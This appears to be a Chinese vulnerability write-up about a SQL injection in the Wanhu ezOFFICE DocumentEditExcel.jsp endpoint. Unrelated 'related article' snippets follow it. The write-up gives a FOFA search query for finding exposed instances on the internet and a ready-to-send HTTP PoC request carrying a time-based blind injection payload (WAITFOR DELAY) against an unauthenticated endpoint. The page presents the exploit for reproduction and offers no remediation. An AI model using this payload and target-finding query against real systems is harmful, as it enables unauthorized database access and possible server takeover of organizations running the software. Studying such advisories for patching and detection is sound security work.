万户 ezOFFICE DocumentEditExcel.jsp SQL注入漏洞
0x01 产品简介
万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品，统一的基础管理平台，实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台，将外网信息维护、客户服务、互动交流和日常工作紧密结合起来，有效提高工作效率。
0x02 漏洞概述
万户 ezOFFICE DocumentEditExcel.jsp接口存在SQL注入漏洞，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。
0x03 复现环境
FOFA：app="万户ezOFFICE协同管理平台"
0x04 漏洞复现
PoC
GET /defaultroot/public/iWebOfficeSign/DocumentEditExcel.jsp;?RecordID=1%27%20WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Moziilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close相关文章：
万户 ezOFFICE DocumentEditExcel.jsp SQL注入漏洞
0x01 产品简介 万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品，统一的基础管理平台，实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台，将外网信息维护、客户服务、互动交流和日…...
OpenCV 2 - 矩阵的掩膜操作
1知识点 1-1 CV_Assert(myImage.depth() == CV_8U); 确保输入图像是无符号字符类型,若该函数括号内的表达式为false，则会抛出一个错误。 1-2 Mat.ptr(int i = 0); 获取像素矩阵的指针，索引 i 表示第几行，从0开始计行数。 1-3 const uchar* current = mylmage.ptr(row); 获得…...
linux -- 内存管理 -- 页面分配器
linux内存管理 为什么要了解linux内存管理 分配并使用内存，是内核程序与驱动程序中非常重要的一环。内存分配函数都依赖于内核中一个非常复杂而重要的组件 - 内存管理。 linux驱动程序不可避免要与内核中的内存管理模块打交道。 linux内存管理可以总体上分为两大…...
StarRocks-3.1.0 单节点部署
1. 相关环境准备 FE： /opt/starrocks BE： /opt/starrocks 安装包下载 wget https://releases.starrocks.io/starrocks/StarRocks-3.1.0.tar.gz解压缩 tar -zxvf StarRocks-3.1.0.tar.gz 安装jdk (v2.5 及以上版本建议安装 JDK 11，我们使用…...
2023美赛A题之Lotka-Volterra【完整思路+代码】
这是2023年的成功，考虑到曾经付费用户的负责，2024年可以发出来了。去年我辅导队伍数量：15，获奖M为主，个别F，H，零S。言归正传，这里我开始分享去年的方案。由于时间久远，我…...
关于如何将Win幻兽帕鲁服务端存档转化为单人本地存档的一种方法(无损转移)
本文转自博主的个人博客：https://blog.zhumengmeng.work,欢迎大家前往查看。 原文链接：点我访问 **起因：**最近大火的开放世界缝合体游戏幻兽帕鲁的大火也是引起了博主的注意，然后博主和周边小伙伴纷纷入手，博主也是利…...
计算机网络——IP协议
前言 网络层的主要负责地址分配和路由选择,ip负责在网络中进行数据包的路由和传输。 IPv4报文组成（了解） IPv4首部：IPv4首部包含了用于路由和传输数据的控制信息，其长度为20个字节（固定长度）。 版本&#…...
Linux命令-ar命令（建立或修改备存文件，或是从备存文件中抽取文件）
补充说明 ar命令 是一个建立或修改备存文件，或是从备存文件中抽取文件的工具，ar可让您集合许多文件，成 为单一的备存文件。在备存文件中，所有成员文件皆保有原来的属性与权限. 语法 ar [-]{dmpqrtx}[abcfilNoPsSuvV] [memberna…...
flask基于python的个人理财备忘录记账提醒系统vue
在当今高度发达的信息中，信息管理改革已成为一种更加广泛和全面的趋势。 “备忘记账系统”是基于Mysql数据库，在python程序设计的基础上实现的。为确保中国经济的持续发展，信息时代日益更新，蓬勃发展。同时，随着信息社…...
【leetcode题解C++】257.二叉树的所有路径 and 404.左叶子之和 and 112.路径总和
257. 二叉树的所有路径 给你一个二叉树的根节点 root ，按 任意顺序 ，返回所有从根节点到叶子节点的路径。 叶子节点 是指没有子节点的节点。 示例 1： 输入：root [1,2,3,null,5] 输出：["1->2->5",&…...
Linux——文本编辑器Vim
Linux中的所有内容以文件形式管理，在命令行下更改文件内容，常常会用到文本编辑器。我们首选的文本编辑器是Vim，它是一个基于文本界面的编辑工具，使用简单且功能强大，更重要的是，Vim是所有Linux发行版本的默…...
以“美”为鉴，探寻香港比特币现货ETF的未来发展
出品｜欧科云链研究院 作者｜Hedy Bi 根据The Block于1月29日的报道，嘉实国际成为了首家向香港证监会提交比特币现货ETF申请的机构。早在去年12月22日，香港证监会发布了《有关证监会认可基金投资虚拟资产的通函》，明确…...
Unity项目打包的方法（之一）
在 Unity 中，将项目打包成 .unitypackage 文件和直接压缩 Assets、Packages 和 ProjectSettings 目录有几个关键区别，主要体现在打包方式、使用目的和包含的内容上。 打包成 UnityPackage .unitypackage 是 Unity 的一种打包格式，它允许你将项…...
如何安装MySQL
如何安装MySQL 前提条件下载MySQL在 Windows 上安装 MySQL验证 MySQL 安装 MySQL是当今工业界广泛使用的最流行的关系数据库管理软件之一。它通过各种存储引擎提供多用户访问支持。它得到了甲骨文公司的支持。在本节中，我们将学习如何为初学者下载和安装 MySQL。 前…...
如何编写.gitignore文件
文章目录 前端架构师教你如何编写.gitignore文件.gitignore文件简介.gitignore文件的语法规则.gitignore文件的最佳实践常见问题与解决 前端架构师教你如何编写.gitignore文件 .gitignore文件简介 .gitignore文件是Git版本控制系统中一个非常有用的工具。它可以指定一组文件或…...
U-Boot学习(7)：内核启动之bootz启动zImage源码分析
在上一节中，我们分析了U-BOOT初始化的流程，最后就是进入U-Boot的命令行中执行了，如果用户没有任何操作，则经过固定延时后将执行默认的bootcmd环境变量里的指令，那这里面肯定就是启动内核了。在U-BOOT简介及命令行指令详…...
[GN] DP学习笔记板子
文章目录 Bitset滚动数组多重背包区间DP树形dp状压dp模拟退火 Bitset 使用bitset需要引用<bitset>头文件。 其声明方法为: std::bitset<N>s; (N为s长度)常用函数： b.any() 判断b中是否存在值为1的二进制位 b.none() 判断b中是否不存在值为1的二…...
GLog开源库使用
Glog地址：https://github.com/google/glog 官方文档：http://google-glog.googlecode.com/svn/trunk/doc/glog.html 1.利用CMake进行编译，生成VS解决方案 （1）在glog-master文件夹内新建一个build文件夹，用…...
微信小程序如何实现点击上传图片功能
如下所示，实际需求中常常存在需要点击上传图片的功能，上传前显示边框表面图片显示大小，上传后将图形缩放到边框大小。 实现如下： .wxml <view class="{{img_src==?blank-area:}}" style="width:100%;height:40%;display:flex;align-items: center;jus…...
Windows Qt C++ VTK 绘制三维曲线
Qt 自带数据可视化从文档上看，只能实现三维曲面。 QwtPlot3D在Qt6.6.0上没编译通过。 QCustomPlot 只能搞二维。 VTK~搞起。抄官网demo。 后续需求： 1、对数轴 2、Y轴逆序 3、Z轴值给色带，类似等高线图的色带 期待各位大佬多多指导。…...
AFOAuth2Manager调试技巧：常见问题排查与解决方案
AFOAuth2Manager调试技巧：常见问题排查与解决方案 【免费下载链接】AFOAuth2Manager AFNetworking Extension for OAuth 2 Authentication 项目地址: https://gitcode.com/gh_mirrors/af/AFOAuth2Manager AFOAuth2Manager是AFNetworking的OAuth 2.0认证扩展库…...
eqMac终极指南：macOS系统级音频均衡器免费使用教程
eqMac终极指南：macOS系统级音频均衡器免费使用教程 【免费下载链接】eqMac macOS System-wide Audio Equalizer & Volume Mixer 🎧 项目地址: https://gitcode.com/gh_mirrors/eq/eqMac 你是否曾经觉得Mac电脑的音质不够理想？想要…...
Java入门全记录
一、表达式 1. 概念 由变量、运算符、字面值组成的式子，运算后会产生一个结果。 两变量参与运算，结果类型规则 如果参与运算的变量有一个为 double 类型，结果就是 double 类型 如果没有 double ，有一个为 float 类型，结…...
终极指南：如何用猫抓浏览器扩展构建高效的流媒体资源嗅探工作流
终极指南：如何用猫抓浏览器扩展构建高效的流媒体资源嗅探工作流 【免费下载链接】cat-catch 猫抓 浏览器资源嗅探扩展 / cat-catch Browser Resource Sniffing Extension 项目地址: https://gitcode.com/GitHub_Trending/ca/cat-catch 猫抓（cat-c…...
HsMod终极指南：60+功能全面优化炉石传说游戏体验
HsMod终极指南：60功能全面优化炉石传说游戏体验 【免费下载链接】HsMod Hearthstone Modification Based on BepInEx 项目地址: https://gitcode.com/GitHub_Trending/hs/HsMod HsMod是基于BepInEx框架开发的炉石传说修改插件，提供超过60项实用功…...
元学习与物理信息神经网络：破解数据稀缺下的宏观交通流估计难题
1. 项目概述：当宏观交通流遇上“学会学习”的AI如果你在交通工程或智慧城市领域待过几年，肯定对“宏观基本图”这个概念不陌生。简单来说，它就像一张城市路网的“心电图”，通过聚合整个区域的交通流量和密度，描绘出网络…...
终极指南：如何用罗技鼠标宏实现PUBG完美压枪控制
终极指南：如何用罗技鼠标宏实现PUBG完美压枪控制 【免费下载链接】logitech-pubg PUBG no recoil script for Logitech gaming mouse / 绝地求生 罗技 鼠标宏 项目地址: https://gitcode.com/gh_mirrors/lo/logitech-pubg 还在为《绝地求生》中难以驾驭的武器…...
OpenSSH regreSSHion漏洞深度解析与零停机修复指南
1. 这个漏洞不是“修一下配置就完事”的普通补丁OpenSSH高危漏洞（CVE-2024-6387）——业内已习惯称它为“regreSSHion”——不是那种改个PermitRootLogin no就能糊弄过去的配置疏漏。我是在凌晨三点被监控告警叫醒的：三台生产跳板机在无任何登…...
碧蓝航线Alas自动化脚本：解放双手的终极游戏助手
碧蓝航线Alas自动化脚本：解放双手的终极游戏助手 【免费下载链接】AzurLaneAutoScript Azur Lane bot (CN/EN/JP/TW) 碧蓝航线脚本 | 无缝委托科研，全自动大世界 项目地址: https://gitcode.com/gh_mirrors/az/AzurLaneAutoScript 你是否厌倦了每…...
量子机器学习实战：遥感图像分割的混合模型构建与硬件噪声影响分析
1. 项目概述与核心挑战量子机器学习（QML）这个领域，听起来像是科幻小说里的概念，但过去几年，它已经从理论物理的殿堂，逐渐走进了我们这些做工程和算法应用的人的视野。简单来说，它试图用量子计算…...